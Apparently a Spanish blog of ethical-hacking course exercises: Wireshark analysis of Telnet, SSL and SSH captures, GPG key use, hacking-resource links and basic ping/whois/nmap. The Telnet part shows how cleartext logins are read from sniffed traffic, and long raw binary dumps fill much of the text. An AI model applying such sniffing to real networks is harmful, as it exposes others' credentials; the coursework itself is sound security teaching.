38 8.714880 192.168.0.1 192.168.0.2 TELNET 67 Telnet Data ...
Data: f
40 8.934088 192.168.0.2 192.168.0.1 TELNET 67 Telnet Data ...
Data: a


........... ..!.."..'.....#..%..%........... ..!..".."........P. ....".....b........b.....B.
........................"......'.....#..&..&..$..&..&..$.. .....#.....'........... .9600,9600....#.bam.zing.org:0.0....'..DISPLAY.bam.zing.org:0.0......xterm-color.............!.............."............
OpenBSD/i386 (oof) (ttyp1)

login: .."........"ffaakkee
.
Password:user
.
Last login: Thu Dec  2 21:32:59 on ttyp1 from bam.zing.org
Warning: no Kerberos tickets issued.
OpenBSD 2.6-beta (OOF) #4: Tue Oct 12 20:42:32 CDT 1999

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

$ llss
.
$ llss  --aa
.
.         ..        .cshrc    .login    .mailrc   .profile  .rhosts
$ //ssbbiinn//ppiinngg  wwwwww..yyaahhoooo..ccoomm
.
PING www.yahoo.com (204.71.200.74): 56 data bytes
64 bytes from 204.71.200.74: icmp_seq=0 ttl=239 time=73.569 ms
64 bytes from 204.71.200.74: icmp_seq=1 ttl=239 time=71.099 ms
64 bytes from 204.71.200.74: icmp_seq=2 ttl=239 time=68.728 ms
64 bytes from 204.71.200.74: icmp_seq=3 ttl=239 time=73.122 ms
64 bytes from 204.71.200.74: icmp_seq=4 ttl=239 time=71.276 ms
64 bytes from 204.71.200.74: icmp_seq=5 ttl=239 time=75.831 ms
64 bytes from 204.71.200.74: icmp_seq=6 ttl=239 time=70.101 ms
64 bytes from 204.71.200.74: icmp_seq=7 ttl=239 time=74.528 ms
64 bytes from 204.71.200.74: icmp_seq=9 ttl=239 time=74.514 ms
64 bytes from 204.71.200.74: icmp_seq=10 ttl=239 time=75.188 ms
64 bytes from 204.71.200.74: icmp_seq=11 ttl=239 time=72.925 ms
...^C
.--- www.yahoo.com ping statistics ---
13 packets transmitted, 11 packets received, 15% packet loss
round-trip min/avg/max = 68.728/72.807/75.831 ms
$ eexxiitt
.

Del análisis efectuado, se puede observar diferentes problemas de seguridad. Nombre de usuario, contraseña, sistema operativo y algunos comandos.

¿Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?

login: .."........"ffaakkee
Password:user

¿Qué sistema operativo corre en la máquina?

OpenBSD 2.6-beta (OOF)

¿Qué comandos se ejecutan en esta sesión?

$ llss
.
$ llss  --aa
.
.         ..        .cshrc    .login    .mailrc   .profile  .rhosts
$ //ssbbiinn//ppiinngg  wwwwww..yyaahhoooo..ccoomm 

Segunda parte: analizando SSL

Para la segunda parte analizaremos el tráfico de una conexión ssl.


Tráfico conexión ssl
¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?
Sí.

2 0.200000 65.54.179.198 10.1.1.2 SSLv3 1179 Server Hello, Certificate, Server Hello Done
signedCertificate
version: v3 (2)
serialNumber : 0x7c1e94347b1c04295b009392f5dc1f86

¿El certificado va en claro o está cifrado?
El paquete está cifrado.

¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?

La autoridad que ha emitido el certificado es verisign

Certificate (id-at-commonName=login.passport.com,id-at-organizationalUnitName=Terms of use at www.verisign.com/r,id-at-organizationalUnitName=MSN Passport,id-at-organizationName=Microsoft,id-at-localityName=Redmond,id-at-stateOrProvinceNam

¿Qué asegura el certificado, la identidad del servidor o del cliente?

La identidad del servidor.

Análisis tráfico ssl mediante TCP Stream

.y....`...............
.................f........e..d..c..b..a..`..............@.............................|.K.'.:....)......T...F..A.....`...`]..3......v.N.%...... .......b.[..k`...0.Vx..........?.............0...0..e.......|..4{..)[.......0
..*.H..
.....0_1.0...U....US1 0...U.
..RSA Data Security, Inc.1.0,..U...%Secure Server Certification Authority0..
040901000000Z.
050901235959Z0..1.0...U....US1.0...U...
Washington1.0...U....Redmond1.0...U.
..Microsoft1.0...U....MSN Passport1301..U...*Terms of use at www.verisign.com/rpa (c)001.0...U....login.passport.com0..0
..*.H..
.........0......... .i.6.F.../...p.A.Q.6B..E+)d.!.<.....,3]..fMo.z...b
...+7..\...x'.....A.......0..z.n.T..N....8...2B.1..\..].m.E.4. .B.]....R.........d0..`0...U....0.0...U........0<..U...50301./.-.+http://crl.verisign.com/RSASecureServer.crl0D..U. .=0;09..`.H...E....0*0(..+.........https://www.verisign.com/rpa0...U.%..0...+.........+.......04..+........(0&0$..+.....0...http://ocsp.verisign.com0m..+........a0_.].[0Y0W0U..image/gif0!0.0...+..............k...j.H.,{..0%.#http://logo.verisign.com/vslogo.gif0
..*.H..
......~.]........J0..O?E-,..S..J.......r:.....H..9..S......T2.\.I...u...8.U...3...G..FG....I.0wt....
..a0p(n.p.....}2..2.o.0....3.P.b..............rv...).......F. |JI.KIX5..k..@.}. ..aq...O......KJ...i.........-,...y......y...Fg\.....#...w..1..G Ye...oZcI.<.7.`vN..h.s.-.-............8.B.fH$.......R...@n..t90.Q.'*. ..ex
..K... .W8.S...1.;.F..........8.J...W ....Qm\./.O...6...mS...,I....OAR7...6....
....].H......
.|...
..^H.[.....z..."..........U;._......Dg..=......16\Tv,.....X...[ 0......IBU^.K..F$..h..j./.-.....}x"gt............;2.B.I....9K..o...9v.-.....ef.......L..b%..z..h.@...FH&.t)5..k......"...;...:..q&.7zt.P..m....O......bt`Q33=M..nz..._D.1g.h.T.?.$..>.c....^<..y.|.....
.....Y.r....op.....s?Z..n.l../5..C....M..4.....P."..&.>......79....GD.
..cQ_X.....!.+.-zu....If...MBvH...G.!.........z....kD..M.&.Q;"JG\...`ij...C.........u..o...o.\;b.R....+L....vv.........vV.......x...uIn.'..
.|a..w.....C.3J.N..+................J..l\1.;.W.
$a"..u.@....LFT.. ....wwH.r..e.....5.. ....>MY.E..AH0/.j.P.|.?T..gM."M.p.u....(....)''E.o. .....Y.A..g.j..=....O..@h. ..zy....&.....ia....n.....\...'..d..j8R;.....H.....XTl..X.L..2.H.<.j0.PG]..tL......q.....0.G...H...,........}...u.TuA{...E.........O............)...W .......C...f$.:...HG:........EU...C.......'l.~.*-.c.8....P...H`......R...H...{z-O.YK......!~...v;l.........$z.#e.v'6...d...n..u...J..S..I....'..;l..eV...b..+0.....7..`...#.8N$..../4.q%..F..G0.T.09zl...7^o..}7....-R#....UO..|..........P.....f,....~4.;.+..9.H..''.p..":t.fTp...x&h7Y....@H....XF4.k{.........E..RqjY:..O....S..=..W..O2)..}z..F..d..z..L....z.......Z.........v(:).kl7t.....N.P.=[.......G...I.....3p~.....+...\.d.G.sFh|.9D+C..J.a@..:.....#..Y..............am..!Y.In.-.+..}..
. .p..L.c......}1.....a.We....u.T.if...i...,.U...A56...D1...jB.......l"mxw.....wY...t..t.L,.-~.=...i..
..].e...a.}...T...........r....L......D5.hx..(J....4h..:`......H...m.....6...`.\;.......PVF...e...Xe%...`.....P.4..o.p...E.=|..p....4./6.d.u...x....b0.j.*2.B,

Tercera parte: analizando SSH (22)

En la tercera parte analizaremos el protocol ssh, una manera más segura de conectarse de forma remota a servidores. Todo el tráfico va cifrado por lo que serás más difícil obtener información.

Tráfico conexión ssh.
¿Puedes ver a partir de qué paquete comienza el tráfico cifrado?

A partir de aquí comienza a establecer una conexión.

3 0.034430 192.168.0.14 193.146.78.18 TCP 66 58693 > ssh [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=3324283 TSecr=160228394
4 0.034906 192.168.0.14 193.146.78.18 SSHv2 98 Encrypted request packet len=32

pero el intercambios de claves, no se produce hasta:

18 0.257815 192.168.0.14 193.146.78.18 SSHv2 82 Client: New Keys
19 0.330164 193.146.78.18 192.168.0.14 TCP 66 ssh > 58693 [ACK] Seq=2210 Ack=2441 Win=14272 Len=0 TSval=160228469 TSecr=3324339
20 0.330229 192.168.0.14 193.146.78.18 SSHv2 106 Encrypted request packet len=40
21 0.364593 193.146.78.18 192.168.0.14 TCP 66 ssh > 58693 [ACK] Seq=2210 Ack=2481 Win=14272 Len=0 TSval=160228477 TSecr=3324357
22 0.367151 193.146.78.18 192.168.0.14 SSHv2 106 Encrypted response packet len=40

¿Qué protocolos viajan cifrados, todos (IP, TCP...) o alguno en particular?

4 0.034906 192.168.0.14 193.146.78.18 SSHv2 98 Encrypted request packet len=32

¿Es posible ver alguna información de usuario como contraseñas de acceso?
No es posible obtener información del usuario o contraseñas por que el acceso va cifrado. Sí que se puede ver la versión de ssh de cliente y de servidor.


SSH-2.0-OpenSSH_6.7p1 Debian-5
SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze6
..........m"..N...8rr.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1...gssh-rsa-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-rsa,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-dss-cert-v00@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se....aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96....none,zlib@openssh.com,zlib....none,zlib@openssh.com,zlib.........................
.L...u......Wb@.....~diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1....ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se....aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se...ihmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96...ihmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96....none,zlib@openssh.com....none,zlib@openssh.com............................".......... ...................#
#ur...#Xq^.....-kM...dP&;..e...9...g..H...'<~.._......|.........3...q.
...AJ..0...a....... \q*..H.....0....u.?.
1<2 ......av....="" ...m.x.="" ...xc....="" .q..="" 0...w..="" b..v..y.w....p="....a[r*" d..=".g.$.g...\....z.....AG.)...`Bp........#.9ZeD,..;.0%...." gr="" i.u..="" k..x..="" n-.="" s4="" t="" v....3u....="" v....t..3k..m..="" yr....q...5.="">.....$.]..........e.................... .......(J.a0q".........l...h.f.....<~b....H..^..&..6...}...r...48..Z.{............8...M..'3.?.....!..C..%)j.9....|q...........:..........@..?...z..nN..c....b....YF.....,...U.f.|n..+.y.=.^....l...gV....@....xsk..@.g#..t.I+VI...c../.?....w.!..=7.....M.x-.......j.c... H...j.w(..7.u..!>...r..(|}..=...i.m_S.uT.q..../.Ep....J'......z........[....`....E...k...$...S]....._../2v.'*.b...k.E.....`..........!........ssh-rsa.............*.Q.k...;d..~X..3X....B....#..\...m.5,.nI......E..Q.pK.4..........).
X.7..#....4a...........+7..........J5,.Q.|q.' ......Z.=..;-.f...=.a.,.^.D.......k...Bb.N.S.....^.L.....t.fWk..E..g\...<..M.K.E]..!.....:.l...qT......l...Gr..."..5jl...F..y..ml0.....MX#"?....q...H.$..kNv.......Gc...`..WM('..j.G.."eJ.G`.n7.......s...z%v.......rw...h..(.I...zq_..._..~.Cp..MqBv.
..hk.k>..1.U4v.`.6..T...=...........G..4.h{uO.....,.EI.Q....\.a].
w...g..V=..cPw..`.......K.n.....G.........(.=.Y...x._MA&a.9!.......J..LH9D^.<.Q.../..]BQa.k.+....>......1.Q..A..i._.~...vJ..K ...._...d
g..0.....'.$..B......`e.d...^....zf...ix~#.........?x].....N1..'N...w.e./:...h ........ssh-rsa....X..1Xs.ho.....t.O]...D..............h.BW(..s;..k.?..8.`.V^...<}..:.q...)......_w...\......3\5..'.q..(.W.?L"v,...A.9X....).n..IR...........5..p?..m..+G
.Sr..c..I.e..+`
.\.n\.............V.t}.......32.r.......t...b'..1.l-k..._.s.....H.|
....W..^X......W....F............
...............
............C.O..r#.P.\... .@M....]V&.u..h..~J......>E.5..2;...y".t.3H3u%.m.-"C........%..C.......;.=zP.....n.e.V..9w.v4...c.........3.*.....$c]t.].o..;.K..<..3.N.-A.6..XQK......5.:..........O...,g.....
,.......N...`..P...X.M.Fj.1bf...g..T.iM...#./....{}..[..5@?......'..11.....!.....9[...E8..gE..6.f......|.&..L.C. y..iM..Z.....%....4&!X...<..i....Kr.@..):....p..e..n.+Sp...E....i...m.f.P.g.9..aZ...Z.7....$..1.A.
.Kb&'.R....).......U..#....MSp..!.mm........m^_;.u.....nq.sT..S.SK..8...{.41.]iQ..g.C...+...2...M.....f.Jzw`I.
..........@o-s..HL.]6..V...R....H/.D_..$.).0Zc..r..p..J...,=....'e....~.)Vm...xG.f....&..P....s......%...w].C.0......
..}/I^..$.C]..#..QF.............. .....,R.....f.Oa
.....i.....?w..y.......m.......h.....!.
`..`ZXj*....aW1... Y.Rd..N..jJ..{.....B......]HO..7./...*.|.4{c..........u..v.R].2@l.KA.}......*...[......O......M.U..$.a
x..".`.....O... WA.&.........k.K.....EVz..(h.!...~...........P....-.5.W.c
.^....
.
~.
.........%........FTD0.....)..t>...]..jj....!..m.O.b...}...Q.=........Z.@ @M.0..
e...q.,;s.t........o......e"./.gh.x.@.Y..k.k9..tKn3.....%.D.....7.....:...H.tz'.nV.. t..F..........D..a.........G...e.J7.~..J.p.*..6.....K..l.....R....."[J@.O..+.../....X.;....A..|..B......,.....c....P..\Q.$#X.....~....d.K....y.s.D..G.....2$.....ZKdL..Jc...
...5e...?63.l........E+X..HK..R..-w...A5N....E4..
;Zs...K>Q.N./.=...:/..`....l4...={4..,s.JQ...O...^.kq.....@O.[!...r....S[... l.R...S\...........8...Y....l.K.....7~f ....T.g.....zqhQ^.....5.N..=.@,*.c:.a.7f7.z.we`...K....o[l.'SY.K[.Y~..R...fI.>.........Gw.g.F..t.@....MP.W......HmLI..l?.{1..t?i.............K v2.( .@.....=K#.X...... .H.......}.....2.\..u3 rv.../...j7+.sX[...%....... .(.z@@.....3..T?.$.w7....c.|.KP..4..-..%....9*N9....W#........$^T,(.....$...u=.?...[..6.jST.9k.Om..n0....g....w.s5uX....pP..<2 _l="y.T.T....#..M.J$?...k....Q......))_.Dd...m.K" i..f.ug8="">.?........Y...v.3.TN.......1v.m....,Vcn.. ...9...$u...*W1.?9./.OXa..X..$....RT.Q%.y....f. ......Z...?.e..-&....<.[..=E..U..........rVv5[<.qI^.;.?.7...../.....e..*.....K..W..dV%....>..H.:._.|..(....[g@...!<......a....g..`..=..Q.....<...[O..0..F*...[.v...{.j4...6F..c..N.c.'9f>.U>.....|....{.$......!..1........&...?Z..((.47o.z9..E.D..+.....%..."......1~.z2) :..bf........ ;..5.../.t/.0z.f&.B^.P......'........K...CHQ.......?=yY;.........}..K._.b7.K..wHV9.......%.gk...*....F.....'j.(."2...- .q..~.+.7~$jvW.QT..=.._...f...zO..~y.n..}B\AtIF...."...Ma.P..V.+0..:J......#'C..G7.R?t...Z...G'...OP..~#N]K..b.v4..~.. e.D.6..`j..Qo ....O?.^..aG\.........mW.....u....z4..{.}....Z.....z..&..n5....FC_....F..1j..6=$...&{.....tB.wa. .|2LVdcw..`.[..k.d.....^.....^.D...#d..+.%.9...+.?.....*.......D...h...d.d.l.[.9b..../..(zx....X'..3...G....I.6...R d.!.$.7.u.O:......$...1.....-/Y.T...".}}}...6"..l.....4.O.m9`Yy.j........$OC".+$....+..J.($..R.d-.."4Q .....f.+;..^..M."D.A.yk.@.Z.)....L`.g.......7.6.2. .3.4q.d.wM..]f2L.8I......{m+.o.... .:..(......................2..n.8^...&J$\.m3.......U...1bu.,..m~...xiF.W.h...f.....G.....@.F2.9g}\..k........R.hM}.].y.`.C9.(#....V...UG.....wn....-..O$..."0Op8.m'0g/q.i!.%2A\xek.|t2..T.\W.}..o.7.........D..,(.w5...P#....>o.........../.....}.i...j.....e.T.@....o..O..=..O...>A....l.?..K.%.:../.<|~.....D.,Q...$..k....|"...3.v$5.......+(\....Sy5....yK@....V..T..5..?8 .F...GP.w.MT.@......27:.`..&p......9V`...3A..q... ..dP..;wD\0 .e.....J~_...FY.A............o..*$.L).........Kis........8...K..d....k@.....3 ..R...C.H\/.a)..m....R...$..\...8.. .z....+3t.u)l.M..m....D.u.Y+......w..Q...M..0.A% ....D......l'i?\-.&.vl...l....0rw~.-Ls........4..D...k?<..8.$}...@>..m%...'..6..Bn.g...*.i$.......fP...w._^.P(.=.......i'.w....k"%...wEu:.4.*.o.2........,aBV... .M.X.n-.8.'b...G..eL.....Y..+.$+..=...=i..J...m,.?m..X?..c.<..9=....h.]P;z^ym...|......5.6.K.A.E....n..l.".....U.,.A.s..(d../v.H2w@x.K.....O.....f.Z.u........^........#D.;.r....t8.A..."S....@k..z...JK"@..aP...;...,w.(m.;.K32..1...W.M......}O....Y.nN.q.}..i3.......97.tq@....3./...Dy..G.BpIn.U.#....c..s..Ozq....f/.......M.U.nG..Y.............b....^...SH1...n....yYL.6......1.P.b.$......x*.......&Y...p..$..=.r..k..`..C. ..h..p5....}0............... 4........=&Q_xZ........J...>k......qf.....S.....+.G..J;.i...js.2.xUf...W.Hx(..g.,..v....t L.....8ej...x..|k:k..;/.=[....\.O..3..;.r.....p.Q.....~..9..e...6C.xg!Vs.K.m....K.6=.D..........B..g.t....me.....[v,nX..-....k.Lb.9...?.p..D......C.lW"..=.%...?......s}.....O.&Re...<.N..c..r...4..........|...3.....>*..o.{./8t}F..&...~.S.......hN.B...*2.>Qw...e..& .g..@.....rn.1Kpc....j.s../v. ......h.Q....XHh..........."~.B...Z.....kEq.5..ygW...p.....X...S=^.AU....M..|......qu........r+...Q.V[.B.Mi...m.kf-...r=....hV..>.M3.l.t....6.m`J,,.;....U...hJ....q.8.-+.i !.T..s....,qF.t.s@L{^..~....D.pq.+r...).g.... 8...Y...@W.+S....w.8....u........./

Hacking Ético, Unidad 1 - Tarea 3: Una sencilla práctica sobre criptografía

En la tercera tarea de la unidad 1, se trata de generar un par de claves (publica y privada) mediante gpg2. Crear un fichero de texto, firmarlo y cifrarlo, después compartir con un tercero.

El primer paso es generar el par de claves (publica y privada).

sergio@tux:~$ gpg2 --gen-key
El programa «gpg2» no está instalado. Puede instalarlo escribiendo:
sudo apt-get install gnupg2
sergio@tux:~$

Nos informa que no está instalado el paquete, tal y como sugiere mediante apt-get install gnupg2 lo instalaremos.

sergio@tux:~$ sudo apt-get install gnupg2
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias       
Leyendo la información de estado... Hecho
Paquetes sugeridos:
  gnupg-doc xloadimage
Se instalarán los siguientes paquetes NUEVOS:
  gnupg2
0 actualizados, 1 se instalarán, 0 para eliminar y 0 no actualizados.
Se necesita descargar 0 B/671 kB de archivos.
Se utilizarán 2.253 kB de espacio de disco adicional después de esta operación.
Seleccionando el paquete gnupg2 previamente no seleccionado.
(Leyendo la base de datos ... 207018 ficheros o directorios instalados actualmente.)
Preparing to unpack .../gnupg2_2.0.22-3ubuntu1.1_i386.deb ...
Unpacking gnupg2 (2.0.22-3ubuntu1.1) ...
Processing triggers for man-db (2.6.7.1-1) ...
Configurando gnupg2 (2.0.22-3ubuntu1.1) ...
sergio@tux:~$ 

Volvemos a probar y ahora si funciona.

En función de nuestras necesidades, modificaremos las opciones que se nos van dando. El tipo de clave, si tiene fecha de caducidad, nombre y apellidos, dirección de correo valida y finalmente nos solicitara una contraseña.

Tal y como recomienda, mientras está generando las claves interesa realizar otras tareas, abrir otras consolas, mirar algún vídeo, etc.

sergio@tux:~$ gpg2 --gen-key
gpg (GnuPG) 2.0.22; Copyright (C) 2013 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Por favor seleccione tipo de clave deseado:
   (1) RSA y RSA (por defecto)
   (2) DSA y ElGamal
   (3) DSA (sólo firmar)
   (4) RSA (sólo firmar)
Su elección: 1
las claves RSA pueden tener entre 1024 y 4096 bits de longitud.
¿De qué tamaño quiere la clave? (2048) 
El tamaño requerido es de 2048 bits
Por favor, especifique el período de validez de la clave.
         0 = la clave nunca caduca
        = la clave caduca en n días
      w = la clave caduca en n semanas
      m = la clave caduca en n meses
      y = la clave caduca en n años
¿Validez de la clave (0)? 0
La clave nunca caduca
¿Es correcto? (s/n) s

GnuPG debe construir un ID de usuario para identificar su clave.

Nombre y apellidos: Sergio Martin
Dirección de correo electrónico: sergmartin@andaluciajunta.es
Comentario: 
Ha seleccionado este ID de usuario:
    "Sergio Martin "

¿Cambia (N)ombre, (C)omentario, (D)irección o (V)ale/(S)alir? V
Necesita una frase contraseña para proteger su clave secreta.

Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
gpg: clave D5798008 marcada como de confianza absoluta
claves pública y secreta creadas y firmadas.

gpg: comprobando base de datos de confianza
gpg: 3 dudosa(s) necesarias, 1 completa(s) necesarias,
modelo de confianza PGP
gpg: nivel: 0  validez:   2  firmada:   0  confianza: 0-, 0q, 0n, 0m, 0f, 2u
gpg: siguiente comprobación de base de datos de confianza el: 2015-11-08
pub   2048R/D5798008 2015-09-28
      Huella de clave = 18D2 7BB6 749A 46D7 F96C  17DE 1865 D8B9 D579 8008
uid                  Sergio Martin 
sub   2048R/34DD14A4 2015-09-28

sergio@tux:~$ 

Una vez finalizado, ya tenemos nuestra clave publica.
El siguiente paso, es exportar la clave en formato binario y ASCII blindado

sergio@tux:~$ gpg2 --export Sergio Martin > Sergio_Martin-pub.gpg
sergio@tux:~$ 

sergio@tux:~$ gpg2 --armor --export Sergio Martin > Sergio_Martin-pub-asc.gpg
sergio@tux:~$ 


sergio@tux:~$ gpg2 --list-keys
/home/sergio/.gnupg/pubring.gpg
-------------------------------
pub   2048R/D5798008 2015-09-28
uid                  Sergio Martin <sergmartin[dot]andaluciajunta.es>
sub   2048R/34DD14A4 2015-09-28

sergio@tux:~$ 

Si queremos compartir nuestra clave publica para que cualquiera nos pueda enviar un mensaje cifrado, se puede subir al servidor publico PGP Global Directory. Una vez enviado, recibiremos un correo para validar el email y finalizar el proceso.

Firma

Importar clave de un tercero.

sergio@tux:~$ gpg2 --import cp_grosp.asc
gpg: clave 956108D8: "Grosp (Prueba) " sin cambios
gpg: Cantidad total procesada: 1
gpg:              sin cambios: 1
sergio@tux:~$ 

Para verificar sí la importación es correcta, deberá aparecer en el listado.

sergio@tux:~$ gpg2 --list-keys
/home/sergio/.gnupg/pubring.gpg
-------------------------------
pub   2048R/D5798008 2015-09-28
uid                  Sergio Martin 
sub   2048R/34DD14A4 2015-09-28

pub   2048R/956108D8 2015-09-28 [caduca: 2017-09-28]
uid                  Grosp (Prueba) 
sub   2048R/D8C8A479 2015-09-28 [caduca: 2017-09-28]

sergio@tux:~$ 

Ahora ya podemos desencriptar el fichero de texto cifrado que hemos recibido.

sergio@tux:~$ gpg2 --decrypt Prueba.txt.asc > resultado_prueba.txt

Necesita una frase contraseña para desbloquear la clave secreta
del usuario: "Sergio Martin "
clave RSA de 2048 bits, ID 34DD14A4, creada el 2015-09-28 (ID de clave primaria D5798008)

gpg: cifrado con clave RSA de 2048 bits, ID D8C8A479, creada el 2015-09-28
      "Grosp (Prueba) "
gpg: cifrado con clave RSA de 2048 bits, ID BE3C9B52, creada el 2015-09-27
      "Sergio Martin "
gpg: cifrado con clave RSA de 2048 bits, ID 34DD14A4, creada el 2015-09-28
      "Sergio Martin "
gpg: Firmado el lun 28 sep 2015 22:26:32 CEST usando clave RSA ID 956108D8
gpg: Firma correcta de "Grosp (Prueba) "
gpg: ATENCIÓN: ¡Esta clave no está certificada por una firma de confianza!
gpg:          No hay indicios de que la firma pertenezca al propietario.
Huellas dactilares de la clave primaria: A3F5 1B7E 66FA 4DBD 9D69  52B4 57F6 10D5 9561 08D8
sergio@tux:~$ 

Una vez desencriptado, podemos leer el contenido del fichero de texto.

Archivo de prueba - MOOC Hacking Ético
Para firmar y cifrar un fichero de texto, es necesario utilizar la clave publica del tercero.

Firmar y cifrar en modo binario.

sergio@tux:~$ gpg2 --recipient Grosp  --sign --encrypt tarea3_unidad1.txt 

Necesita una frase contraseña para desbloquear la clave secreta
del usuario: "Sergio Martin "
clave RSA de 2048 bits, ID C32F2578, creada el 2015-09-27

gpg: D8C8A479: No hay seguridad de que esta clave pertenezca realmente
al usuario que se nombra

pub  2048R/D8C8A479 2015-09-28 Grosp (Prueba) 
 Huella clave primaria: A3F5 1B7E 66FA 4DBD 9D69  52B4 57F6 10D5 9561 08D8
      Huella de subclave: CDB9 AE16 D6F1 89EB B901  99B8 E38E 9201 D8C8 A479

No es seguro que la clave pertenezca a la persona que se nombra en el
identificador de usuario. Si *realmente* sabe lo que está haciendo,
puede contestar sí a la siguiente pregunta.

¿Usar esta clave de todas formas? (s/N) s
sergio@tux:~$ 

Firmar y cifrar en modo texto.

sergio@tux:~$ gpg2 --recipient Grosp --sign --armor --encrypt tarea3_unidad1.txt 

Necesita una frase contraseña para desbloquear la clave secreta
del usuario: "Sergio Martin "
clave RSA de 2048 bits, ID C32F2578, creada el 2015-09-27

gpg: D8C8A479: No hay seguridad de que esta clave pertenezca realmente
al usuario que se nombra

pub  2048R/D8C8A479 2015-09-28 Grosp (Prueba) 
 Huella clave primaria: A3F5 1B7E 66FA 4DBD 9D69  52B4 57F6 10D5 9561 08D8
      Huella de subclave: CDB9 AE16 D6F1 89EB B901  99B8 E38E 9201 D8C8 A479

No es seguro que la clave pertenezca a la persona que se nombra en el
identificador de usuario. Si *realmente* sabe lo que está haciendo,
puede contestar sí a la siguiente pregunta.

¿Usar esta clave de todas formas? (s/N) s
sergio@tux:~$

Hacking Ético, Unidad 1 - Tarea 2: Busqueda y puesta en común de recursos

En la segunda tarea de la unidad 1, se trata de buscar y compartir recursos relacionados con el hacking.

El primer enlace es http://www.elhacker.net, una web que descubrí buscando información hacking de dispositivos bluetooth y aplicaciones J2ME.

La web de Chema Alonso http://www.elladodelmal.com uno de los mejores hackers españoles.

Kriptópolis, web sobre criptografía y seguridad. Como nota curiosa, la colaboración de Fernando Acero un hacker y teniente coronel del Ejercito del Aire.

Mundohacker documentales de diferentes temáticas.

Hacking Ético, Unidad 1 - Tarea 1: ping, whois, nmap

El pasado martes 22 de septiembre, comenzó la primera edición del curso Hacking Ético de MONDRAGON UNIBERTSITATEA.

En la primera tarea de la unidad 1, se trata de obtener información de servidores externos.

Los comandos básicos que se utilizarán son:
  • Ping
  • Whois
  • Nmap
Mediante el comando ping, comprobaremos la comunicación entre el host local y un equipo remoto.

Se puede realizar un ping directamente a la dirección IP o bien al dominio. Con la opción -c y un número se define la cantidad de ping a realizar.

sergio@tux:~$ ping 192.168.1.1 -c 4
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=1.95 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=0.887 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=0.865 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=64 time=0.883 ms

--- 192.168.1.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3000ms
